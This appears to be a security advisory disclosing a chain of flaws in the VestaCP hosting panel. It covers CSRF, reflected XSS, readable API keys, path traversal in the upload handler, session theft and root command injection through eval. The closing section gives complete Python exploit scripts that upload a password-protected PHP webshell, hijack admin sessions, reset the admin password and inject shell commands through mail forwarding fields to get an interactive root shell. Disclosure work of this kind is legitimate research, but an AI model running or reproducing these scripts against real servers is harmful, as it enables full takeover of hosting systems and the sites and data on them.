TL;DR
Find out how multiple vulnerabilities in VestaCP allow remote attackers to take over the product.
Vulnerability Summary
While researching VestaCP source code, multiple critical vulnerabilities have been found, when chained together they would lead to RCE’s and LPE’s as Admin and eventually obtain root
Credit
Two independent security researchers, rekter0 and 0xkasper, have reported this to the SSD Secure Disclosure program.
Affected Versions
- VestaCP 1.0.0-5 (latest)
Vendor Response
We have reached out to VestaCP dev team view email but have not received any kind of response.
Vulnerability Analysis
FileManager CSRF
Details
Each Hosting account including admin account have access to a file manager where they could Add / Rename / Copy / Move / Archive / Extract / Backup / Delete / Chmod files and/or directories that are within their /home directory.
/web/file_manager/fm_api.php
$fm = new FileManager($user);
$fm->setRootDir($panel[$user]['HOME']);
$_REQUEST['action'] = empty($_REQUEST['action']) ? '' : $_REQUEST['action'];
switch ($_REQUEST['action']) {
case 'cd':
$dir = $_REQUEST['dir'];
print json_encode($fm->ls($dir));
break;
case 'check_file_type':
$dir = $_REQUEST['dir'];
print json_encode($fm->checkFileType($dir));
break;
case 'rename_file':
$dir = $_REQUEST['dir'];
$item = $dir . '/' . $_REQUEST['item'];
$target_name = $dir . '/' . $_REQUEST['target_name'];
print json_encode($fm->renameFile($item, $target_name));
break;
case 'rename_directory':
$dir = $_REQUEST['dir'];
$item = $dir.$_REQUEST['item'];
$target_name = $dir.$_REQUEST['target_name'];
print json_encode($fm->renameDirectory($item, $target_name));
break;
case 'move_file':
$item = $_REQUEST['item'];
$target_name = $_REQUEST['target_name'];
print json_encode($fm->renameFile($item, $target_name));
break;
case 'move_directory':
$item = $_REQUEST['item'];
$target_name = $_REQUEST['target_name'];
print json_encode($fm->renameDirectory($item, $target_name));
break;
case 'delete_files':
$dir = $_REQUEST['dir'];
$item = $_REQUEST['item'];
print json_encode($fm->deleteItem($dir, $item));
break;
case 'create_file':
$dir = $_REQUEST['dir'];
$filename = $_REQUEST['filename'];
print json_encode($fm->createFile($dir, $filename));
break;
case 'create_dir':
$dir = $_REQUEST['dir'];
$dirname = $_REQUEST['dirname'];
print json_encode($fm->createDir($dir, $dirname));
break;
case 'open_file':
$dir = $_REQUEST['dir'];
print json_encode($fm->open_file($dir));
break;
case 'copy_file':
$dir = $_REQUEST['dir'];
$target_dir = $_REQUEST['dir_target'];
$filename = $_REQUEST['filename'];
$item = $_REQUEST['item'];
print json_encode($fm->copyFile($item, $dir, $target_dir, $filename));
break;
case 'copy_directory':
$dir = $_REQUEST['dir'];
$target_dir = $_REQUEST['dir_target'];
$filename = $_REQUEST['filename'];
$item = $_REQUEST['item'];
print json_encode($fm->copyDirectory($item, $dir, $target_dir, $filename));
break;
case 'unpack_item':
$dir = $_REQUEST['dir'];
$target_dir = $_REQUEST['dir_target'];
$filename = $_REQUEST['filename'];
$item = $_REQUEST['item'];
print json_encode($fm->unpackItem($item, $dir, $target_dir, $filename));
break;
case 'pack_item':
$items = $_REQUEST['items'];
$dst_item = $_REQUEST['dst_item'];
print json_encode($fm->packItem($items, $dst_item));
break;
case 'backup':
$path = $_REQUEST['path'];
print json_encode($fm->backupItem($path));
break;
case 'chmod_item':
$dir = $_REQUEST['dir'];
$item = $_REQUEST['item'];
$permissions = $_REQUEST['permissions'];
print json_encode($fm->chmodItem($dir, $item, $permissions));
break;
default:
//print json_encode($fm->init());
break;
}
FileManager API rely on [$_REQUEST], which could be supplied via `GET|POST|COOKIE` user input.
This potentially leading to 13 High severity CSRF vulnerabilities in dangerous functionalities if abused by an attacker
chmod_item | backup | pack_item | unpack_item | copy_directory | copy_file | open_file | create_dir | create_file | delete_files | move_directory | move_file | rename_directory | rename_file.
Reflected XSS
Edit Web
While most API calls are specifying Content-Type HTTP header to be application/json, call to /v1/edit/web was found to not specify one, making PHP by default set it to text/html.
/web/api/v1/edit/web/index.php
[...]
> $v_domain = escapeshellarg($_GET['domain']);
[...]
$result = array(
'username' => $v_username,
> 'domain' => $v_domain,
[...]
);
echo json_encode($result);
GET parameter domain is processed only by escapeshellarg() this would escape only single quotes ' and backslash \ potentially leading to reflected XSS
Edit File
Edit file API call also doesn’t explicitly set content-type header
if (!empty($_REQUEST['path'])) {
$content = '';
$path = $_REQUEST['path'];
[...]
> exec (VESTA_CMD . "v-open-fs-file {$user} ".escapeshellarg($path), $content, $return_var);
if ($return_var != 0) {
$error = 'Error while opening file'; // todo: handle this more styled
exit;
}
> $content = implode("\n", $content)."\n";
} else {
$content = '';
}
$result = array(
'error' => $error,
> 'content' => $content
);
>echo json_encode($result);
This will print file content, a malicious Vesta User could write an XSS payload into a file in a directory they control Ex: /tmp, and use this functionality to trigger the XSS to target another Vesta user.
Directory Preview
As this is a paid plugin, so it would not be enabled by default.
/web/api/v1/list/directory/preview/index.php
if ((!isset($_SESSION['FILEMANAGER_KEY'])) || (empty($_SESSION['FILEMANAGER_KEY']))) {
header("Location: /filemanager-not-purchased/");
exit;
}
[...]
> $path_a = !empty($_REQUEST['dir_a']) ? $_REQUEST['dir_a'] : '';
> $path_b = !empty($_REQUEST['dir_b']) ? $_REQUEST['dir_b'] : '';
> $GLOBAL_JS = '<script type="text/javascript">GLOBAL.START_DIR_A = "' . $path_a . '";</script>';
> $GLOBAL_JS .= '<script type="text/javascript">GLOBAL.START_DIR_B = "' . $path_b . '";</script>';
Both parameters dir_a and dir_b are user input from $_REQUEST and getting reflected inside of script tag without proper sanitization leading to reflected XSS.
Vesta WEBAPI
Vesta has another API interface that is designed to be an alternative interface or to be integrated within another application or script https://vestacp.com/docs/api/
/web/api/v1/index.php or /web/api/index.php
> if (isset($_POST['user']) || isset($_POST['hash'])) {
// Authentication
> if (empty($_POST['hash'])) {
> if ($_POST['user'] != 'admin') {
echo 'Error: authentication failed';
exit;
}
This API is accessible only via an API key or via admin account [user/password].
Security Misconfigurations
API Keys
Vesta WEB API could be authenticated via Admin account as well as API keys.
/web/api/v1/index.php or /web/api/index.php
> $key = '/usr/local/vesta/data/keys/' . basename($_POST['hash']);
> if (file_exists($key) && is_file($key)) {
> exec(VESTA_CMD ."v-check-api-key ".escapeshellarg($key)." ".$v_ip, $output, $return_var);
unset($output);
// Check API answer
if ( $return_var > 0 ) {
echo 'Error: authentication failed';
exit;
}
} else {
$return_var = 1;
}
/bin/v-check-api-key
if [ -z "$1" ]; then
echo "Error: key missmatch"
exit 9
fi
key=$(basename $1)
[...]
if [ ! -e $VESTA/data/keys/$key ]; then
echo "Error: key missmatch"
echo "$date $time api $ip failed to login" >> $VESTA/log/auth.log
exit 9
fi
API key is filename of any of the files that exists in directory /usr/local/vesta/data/keys/.
By default there’s no API key, but they could be generated using v-generate-api-key Vesta script.
/bin/v-generate-api-key
[...]
KEYS='/usr/local/vesta/data/keys/'
HASH=$(keygen)
[...]
if [ ! -d ${KEYS} ]; then
mkdir ${KEYS}
fi
[...]
touch ${KEYS}${HASH}
This script could be only executed with admin account via API or from CLI with admin or root accounts.
ls -lia /usr/local/vesta/data/keys/ total 8 1810549 drwxr-xr-x 2 root root 4096 Dec 3 13:41 . 1816654 drwxr-xr-x 10 root root 4096 Dec 3 13:41 .. 1817104 -rw-r--r-- 1 root root 0 Dec 3 13:41 lP-mK-rIEuJSfBQyycQuxKDLzfUKh78M
The created files would have bad permission that are readable by any user on the system leading to LPE.
Arbitrary Directory delete as root
When a Vesta user changes their stats settings to none it invokes v-delete-web-domain-stats.
/web/api/v1/edit/web/index.php
# Defining statistic dir stats_dir="$HOMEDIR/$user/web/$domain/stats" # Deleting dir content rm -rf $stats_dir/*
a Vesta user can symlink the target directory to their home dir domain stats directory and then change their stats settings to none this would lead to deleting the directory with root privileges since constant VESTA_CMD invokes the script with sudo.
define('VESTA_CMD', '/usr/bin/sudo /usr/local/vesta/bin/');
Upload handler
Vesta has an API for file uploads accessible to any Vesta user including low privileged users accessible from /api/v1/upload Vesta Upload handler is an altered version of jQuery file upload plugin that could be found here: https://github.com/blueimp/jQuery-File-Upload/blob/master/server/php/UploadHandler.php
/web/api/v1/upload/UploadHandler.php
protected function initialize() {
switch ($this->get_server_var('REQUEST_METHOD')) {
case 'OPTIONS':
case 'HEAD':
$this->head();
break;
case 'GET':
$this->get();
break;
case 'PATCH':
case 'PUT':
case 'POST':
$this->post();
break;
case 'DELETE':
$this->delete();
break;
default:
$this->header('HTTP/1.1 405 Method Not Allowed');
}
}
The upload handler process the request according to the HTTP method and supplied parameters.
dir parameter
Function get_upload_path is used almost by every file handling functionality in upload handler to determine the working directory.
/web/api/v1/upload/UploadHandler.php
protected function get_upload_path($file_name = null, $version = null) {
> $relocate_directory = $_GET['dir'];
if (empty($relocate_directory)) {
$relocate_directory = '/home/admin/'; // fallback dir
}
if ($relocate_directory[strlen($relocate_directory) -1] != '/') {
$relocate_directory .= '/';
}
$file_name = $file_name ? $file_name : '';
if (empty($version)) {
$version_path = '';
} else {
$version_dir = @$this->options['image_versions'][$version]['upload_dir'];
if ($version_dir) {
return $version_dir.$this->get_user_path().$file_name;
}
$version_path = $version.'/';
}
//return $this->options['upload_dir'].$this->get_user_path()
// .$version_path.$file_name;
return $relocate_directory
.$version_path.$file_name;
}
dir GET parameter was found to bypass the intended function use.
Arbitrary Directory files listing
When upload handler is called with GET http method it is processed with get() function
/web/api/v1/upload/UploadHandler.php
public function get($print_response = true) {
if ($print_response && isset($_GET['download'])) {
return $this->download();
}
$file_name = $this->get_file_name_param();
if ($file_name) {
$response = array(
$this->get_singular_param_name() => $this->get_file_object($file_name)
);
} else {
$response = array(
$this->options['param_name'] => $this->get_file_objects()
);
}
return $this->generate_response($response, $print_response);
}
functions get_file_object and get_file_objects rely on get_upload_path enabling us to get a files listing on an arbitrary directory of our choosing that is accessible by unix admin user.
This could lead to sensitives files names disclosure including API keys.
Vesta PHP Sessions directory /usr/local/vesta/data/sessions has sessions with admin:admin permissions enabling an arbitrary Vesta user to obtain session IDs for any logged in Vesta user.
/web/inc/main.php
// Saving user IPs to the session for preventing session hijacking
>$user_combined_ip = $_SERVER['REMOTE_ADDR'];
if(isset($_SERVER['HTTP_CLIENT_IP'])){
$user_combined_ip .= '|'. $_SERVER['HTTP_CLIENT_IP'];
}
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$user_combined_ip .= '|'. $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(isset($_SERVER['HTTP_FORWARDED_FOR'])){
$user_combined_ip .= '|'. $_SERVER['HTTP_FORWARDED_FOR'];
}
if(isset($_SERVER['HTTP_X_FORWARDED'])){
$user_combined_ip .= '|'. $_SERVER['HTTP_X_FORWARDED'];
}
if(isset($_SERVER['HTTP_FORWARDED'])){
$user_combined_ip .= '|'. $_SERVER['HTTP_FORWARDED'];
}
>if(!isset($_SESSION['user_combined_ip'])){
> $_SESSION['user_combined_ip'] = $user_combined_ip;
>}
// Checking user to use session from the same IP he has been logged in
>if($_SESSION['user_combined_ip'] != $user_combined_ip && $_SERVER['REMOTE_ADDR'] != '127.0.0.1'){
session_destroy();
session_start();
$_SESSION['request_uri'] = $_SERVER['REQUEST_URI'];
header("Location: /login/");
exit;
}
Sessions are tied to the original IP that logged in, but it could be bypassed when requests are originating from 127.0.0.1.
Arbitrary file delete
HTTP method DELETE for upload handler will delete files from files[] array.
/web/api/v1/upload/UploadHandler.php
public function delete($print_response = true) {
$file_names = $this->get_file_names_params();
if (empty($file_names)) {
$file_names = array($this->get_file_name_param());
}
$response = array();
foreach($file_names as $file_name) {
$file_path = $this->get_upload_path($file_name);
$success = is_file($file_path) && $file_name[0] !== '.' && unlink($file_path);
if ($success) {
foreach($this->options['image_versions'] as $version => $options) {
if (!empty($version)) {
$file = $this->get_upload_path($file_name, $version);
if (is_file($file)) {
unlink($file);
}
}
}
}
$response[$file_name] = $success;
}
return $this->generate_response($response, $print_response);
}
}
Since the panel is running with admin user privileges, this will delete an arbitrary file where UNIX user admin has permission.
Host Header Injection
Host header injection password reset functionality.
In /web/api/v1/reset/index.php on line 35:
$mailtext .= __('PASSWORD_RESET_REQUEST',$_SERVER['HTTP_HOST'],$user,$rkey,$_SERVER['HTTP_HOST'],$user,$rkey);
Request’s Host header is put as host in the password reset link that is send to the user.
Command injection as root
The function update_object_value from /func/main.sh uses eval as root.
pdate_object_value() {
row=$(grep -nF "$2='$3'" $USER_DATA/$1.conf)
lnr=$(echo $row | cut -f 1 -d ':')
object=$(echo $row | sed "s/^$lnr://")
eval "$object"
eval old="$4"
old=$(echo "$old" | sed -e 's/\\/\\\\/g' -e 's/&/\\&/g' -e 's/\//\\\//g')
new=$(echo "$5" | sed -e 's/\\/\\\\/g' -e 's/&/\\&/g' -e 's/\//\\\//g')
sed -i "$lnr s/${4//$/}='${old//\*/\\*}'/${4//$/}='${new//\*/\\*}'/g" \
$USER_DATA/$1.conf
}
This sink could be reached by multiple vesta functionality, some of which email forwarders which are not properly sanitized
/web/api/v1/edit/mail/index.php
foreach ($result as $forward) {
if ((empty($_SESSION['error_msg'])) && (!empty($forward))) {
exec (VESTA_CMD."v-add-mail-account-forward ".$v_username." ".$v_domain." ".$v_account." ".escapeshellarg($forward), $output, $return_var);
check_return_code($return_var,$output);
unset($output);
}
}
[...]
if (($v_fwd_only != 'yes') && (!empty($_POST['v_fwd_only'])) && (empty($_SESSION['error_msg']))) {
exec (VESTA_CMD."v-add-mail-account-fwd-only ".$v_username." ".$v_domain." ".$v_account, $output, $return_var);
check_return_code($return_var,$output);
unset($output);
$v_fwd_only = 'yes';
}
/web/api/v1/add/mail/index.php
if ((!empty($_POST['v_fwd'])) && (empty($_SESSION['error_msg']))) {
$vfwd = preg_replace("/\n/", " ", $_POST['v_fwd']);
$vfwd = preg_replace("/,/", " ", $vfwd);
$vfwd = preg_replace('/\s+/', ' ',$vfwd);
$vfwd = trim($vfwd);
$fwd = explode(" ", $vfwd);
foreach ($fwd as $forward) {
$forward = escapeshellarg($forward);
if (empty($_SESSION['error_msg'])) {
exec (VESTA_CMD."v-add-mail-account-forward ".$user." ".$v_domain." ".$v_account." ".$forward, $output, $return_var);
check_return_code($return_var,$output);
unset($output);
}
}
}
// Add fwd_only flag
if ((!empty($_POST['v_fwd_only'])) && (empty($_SESSION['error_msg']))) {
exec (VESTA_CMD."v-add-mail-account-fwd-only ".$user." ".$v_domain." ".$v_account, $output, $return_var);
check_return_code($return_var,$output);
unset($output);
}
Exploit
VestaFuncs.py
import requests
import re
import json
import socket
from urllib.parse import urlparse
import random
import string
import base64
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
def resetPassword(username,targetHost,rkey):
newPassword = get_random_string()
r = requests.post(targetHost + '/api/v1/reset/index.php', verify=False, data={'password':newPassword,'password_confirm':newPassword, 'user':username,'code':rkey})
if '"error":null,' in r.text:
return newPassword
else:
return False
def checkSessions(us,targetHost,ipFromHostname,sessions,pwnDomain):
for i in sessions:
qTry = queryWebshell('echo `curl -k "https://127.0.0.1:'+str(urlparse(targetHost).port)+'/api/v1/login/session.php" -H "Cookie: PHPSESSID='+i+';" `;',ipFromHostname,pwnDomain)
if '"root_dir":"\\/home\\/admin"' in qTry:
print('[++] Admin session found ')
return i,qTry
print('[!] no admin session found')
return False
def getSessIDs(us,targetHost,SessID):
r = us.get(targetHost + '/api/v1/upload/index.php?dir=/usr/local/vesta/data/sessions', verify=False)
try:
if '{"files":' in r.text:
myList = []
for i in r.json()['files']:
if SessID not in i['name']:
myList.append(i['name'].replace('sess_',''))
return myList
else:
print('Getting Sessions list Error')
return False
except Exception as e:
print(str(e))
return False
def getIPfromHostname(hostn):
return socket.gethostbyname(urlparse(hostn).hostname)
def get_random_string(length=10):
letters = string.ascii_letters+string.digits
result_str = ''.join(random.choice(letters) for i in range(length))
return result_str
def getSession(us,targetHost,ss=1):
sessPath ='/api/v1/login/index.php'
if ss == 2:
sessPath = '/api/v1/login/session.php'
r = us.get(targetHost + sessPath, verify=False)
try:
if '"token":"' in r.text:
return r.json()
else:
print('Getting own session data error')
exit()
except Exception as e:
print(str(e))
exit()
def login(us,targetHost,login,passwd):
try:
r = us.post(targetHost + '/api/v1/login/index.php', verify=False, data={'user':login,'password':passwd,'token':getSession(us,targetHost)['token']})
if r.text:
print('[+] Logged in as '+login)
return True
else:
return False
except Exception as e:
print(str(e))
return False
def logout(us,targetHost):
r = us.get(targetHost + '/api/v1/logout/index.php', verify=False)
print('[+] Logged out ')
def getWebshell(us,targetHost,shellHost,username,ipFromHostname):
#r = us.get(targetHost + '/api/v1/delete/web/index.php?domain='+shellHost+'&token='+getSession(us,targetHost,2)['token'],verify=False)
r = us.get(targetHost + '/api/v1/list/web/index.php', verify=False)
if shellHost not in r.text:
print('[!] '+shellHost+' not found, creating one...')
r = us.get(targetHost + '/api/v1/add/web/index.php', verify=False)
try:
webConf = r.json()
## Checking if IPs match
if ipFromHostname not in r.text:
print('[!] IP mismatch, select an appropriate IP for the '+shellHost)
confIPsList = []
count = 0
for i in webConf['ips']:
confIPsList.append(i)
print('\t['+str(count)+'] '+i)
count+=1
selectedIP = confIPsList[int(input('\t> '))]
else:
selectedIP = ipFromHostname
r2 = us.post(targetHost + '/api/v1/add/web/index.php' , verify=False, data={"ok": "add", "token": getSession(us,targetHost,2)['token'], "v_domain": shellHost, "v_ip": selectedIP, "v_aliases": "www."+shellHost, "v_dns": "on", "v_mail": "on", "v_proxy": "on", "v_proxy_ext": webConf['proxy_ext']})
if 'has been created successfully' in r2.text:
print('[+] '+shellHost+' added')
except Exception as e:
print(str(e))
return False
print('[+] '+shellHost+' found, looking up webshell')
checkWS = queryWebshell('echo HelloVestaPWN3647387238263784;',ipFromHostname,shellHost)
if('HelloVestaPWN3647387238263784' not in checkWS):
print('[!] webshell not found, creating one..')
r = us.post(targetHost+'/api/v1/upload/?dir=/home/'+username+'/web/'+shellHost+'/public_html',verify=False,files = {'files': ('ownwebshell.php', '<?php\nif(@$_GET["password"]!="e43c9f07ed59712efa492aa0ae259cd0") exit();\neval($_GET["e"]);')} )
if('"name":"ownwebshell.php"' in r.text):
print('[+] Webshell uploaded')
return True
else:
print('[!] webshell upload error')
return False
else:
print('[+] '+username+' webshell found')
return True
def createMailBox(us,targetHost,shellHost,isDebug):
mailAccount = get_random_string().lower()
mailPassword = get_random_string()
r = us.get(targetHost + '/api/v1/delete/mail/index.php?domain='+shellHost+'&token='+getSession(us,targetHost,2)['token'],verify=False)
r = us.get(targetHost + '/api/v1/list/mail/index.php', verify=False)
if shellHost in r.text:
if isDebug: print('[+] Mail domain found')
else:
if isDebug: print('[!] Mail domain not found, creating one..')
r2 = us.post(targetHost + '/api/v1/add/mail/index.php', verify=False, data={"ok": "add", "token": getSession(us,targetHost,2)['token'], "v_domain": shellHost, "v_antispam": "on", "v_antivirus": "on", "v_dkim": "on"})
if '"error_msg":null' in r2.text:
if isDebug: print('[+] Mail domain created')
else:
print('[!] mail domain creating error')
return False
r = us.post(targetHost + '/api/v1/add/mail/index.php?domain='+shellHost,verify=False, data={"v_domain": shellHost, "v_account": mailAccount, "v_password": mailPassword, "Username": "@"+shellHost, "v_credentials": '', "ok_acc": "add", "token": getSession(us,targetHost,2)['token'], "Password": mailPassword})
if '"error_msg":null' in r.text:
if isDebug: print('[+] Mail account created')
return {'account':mailAccount,'password':mailPassword}
else:
print('[!] creating new mail failed ..')
return False
def editMailBox(us,targetHost,shellHost,Vaccount,payload,isDebug=True):
r = us.post(targetHost + '/api/v1/edit/mail/index.php?domain='+shellHost+'&account='+Vaccount,verify=False, data={"save": "save", "token": getSession(us,targetHost,2)['token'], "v_domain": shellHost, "v_password": '', "v_quota": "unlimited", "v_aliases": '', "v_fwd": payload, "v_credentials": '', "Username": "@"+shellHost, "v_account": Vaccount, "Password": ''})
if '"ok_msg":"Changes have been saved."' in r.text:
return True
else:
if isDebug: print('[!] mailbox edit failed ..')
return False
def b64en(strr):
return base64.b64encode(strr.encode('utf-8')).decode('utf-8')
def deploycommand(cmd,ipFromHostname,pwnDomain):
queryWebshell('echo `pwd;mkdir -p ./iamroot;`;',ipFromHostname,pwnDomain)
queryWebshell('`printf '+b64en(cmd)+'|base64 -d > ./iamroot/cmdtoexec`;',ipFromHostname,pwnDomain)
def queryWebshell(cmd,ipFromHostname,shellHost='vestapwn.poc'):
r = requests.get('http://'+ipFromHostname+'/ownwebshell.php?password=e43c9f07ed59712efa492aa0ae259cd0&e='+cmd,headers={'Host':shellHost},verify=False)
return r.text
vestaATO.py
from VestaFuncs import *
import sys
import time
period = 0.5
if len(sys.argv) == 4:
targetHost = sys.argv[1]
targetUser = sys.argv[2]
targetPass = sys.argv[3]
else:
print("Usage\npython3 vestaROOT.py https://target_host:8083 user_login user_pass")
exit()
ipFromHostname = getIPfromHostname(targetHost)
pwnDomain = get_random_string().lower()+'.poc'
pwnDomainAdmin = get_random_string().lower()+'.poc'
while True:
## init user session
uus = requests.Session()
## Login
if login(uus,targetHost,targetUser,targetPass):
usID = uus.cookies.get_dict()['PHPSESSID']
## Check own webshell
if getWebshell(uus,targetHost,pwnDomain,targetUser,ipFromHostname):
## Get other sessions IDs
oSessIDs = getSessIDs(uus,targetHost,usID)
if oSessIDs:
print('[+] Obtained Sessions list : '+str(len(oSessIDs)))
## Check other sessions IDs
adminSession = checkSessions(uus,targetHost,ipFromHostname,oSessIDs,pwnDomain)
## Admin session found
if(adminSession):
adminJSON = json.loads(adminSession[1])
## Reset key found
if adminJSON['data']['RKEY']:
## Change admin password
print('[+] admin RKEY '+adminJSON['data']['RKEY'])
newAdminPassword = resetPassword('admin',targetHost, adminJSON['data']['RKEY'])
if(newAdminPassword):
print('[+] New admin account password ' +newAdminPassword)
## Login as admin
uus2 = requests.Session()
if login(uus2,targetHost,'admin',newAdminPassword):
## Check own webshell
uWebshell = getWebshell(uus2,targetHost,pwnDomainAdmin,'admin',ipFromHostname)
logout(uus2,targetHost)
if 'admin' in queryWebshell('echo `whoami` ;',ipFromHostname,pwnDomainAdmin):
queryWebshell('`mkdir -p ./func;echo "bash -c \\"\\\\$1\\"\nexit" > ./func/main.sh;` ;',ipFromHostname,pwnDomainAdmin)
while True:
print(queryWebshell('echo `VESTA=$(pwd) sudo /usr/local/vesta/bin/v-list-backup-host "'+input('# ').replace('"','\\"')+'"`;',ipFromHostname,pwnDomainAdmin))
else:
print('[!] Admin webshell not found ??')
else:
print('[!] admin password reset failed')
else:
print('[!] RKEY not found??')
else:
print('[!] no admin session found, restarting ..')
## Logout
logout(uus,targetHost)
time.sleep(period)
vestaROOT.py
from VestaFuncs import *
import sys
if len(sys.argv) == 4:
targetHost = sys.argv[1]
targetUser = sys.argv[2]
targetPass = sys.argv[3]
else:
print("Usage\npython3 vestaROOT.py https://target_host:8083 user_login user_pass")
exit()
ipFromHostname = getIPfromHostname(targetHost)
pwnDomain = get_random_string().lower()+'.poc'
## init user session
uus = requests.Session()
## Login
if login(uus,targetHost,targetUser,targetPass):
## Check own webshell
if getWebshell(uus,targetHost,pwnDomain,targetUser,ipFromHostname):
## Check, delete and create mailbox on pwnDomain
mailBox = createMailBox(uus,targetHost,pwnDomain,True)
if(mailBox):
eMailBox = editMailBox(uus,targetHost,pwnDomain,mailBox['account'],'testPayload')
if(eMailBox):
## Deploy backdoor
if editMailBox(uus,targetHost,pwnDomain,mailBox['account'],"';bash</home/"+targetUser+"/web/"+pwnDomain+"/public_html/iamroot/cmdtoexec>/home/"+targetUser+"/web/"+pwnDomain+"/public_html/iamroot/cmdresult;A='"):
print('[+] root shell possibly obtained')
while True:
ucmd = input('# ')
deploycommand(ucmd,ipFromHostname,pwnDomain)
editMailBox(uus,targetHost,pwnDomain,mailBox['account'],"foobar",False)
print(queryWebshell('echo `cat ./iamroot/cmdresult;`;',ipFromHostname,pwnDomain))
## Logout
logout(uus,targetHost)
print('[+] Logged out')
Demo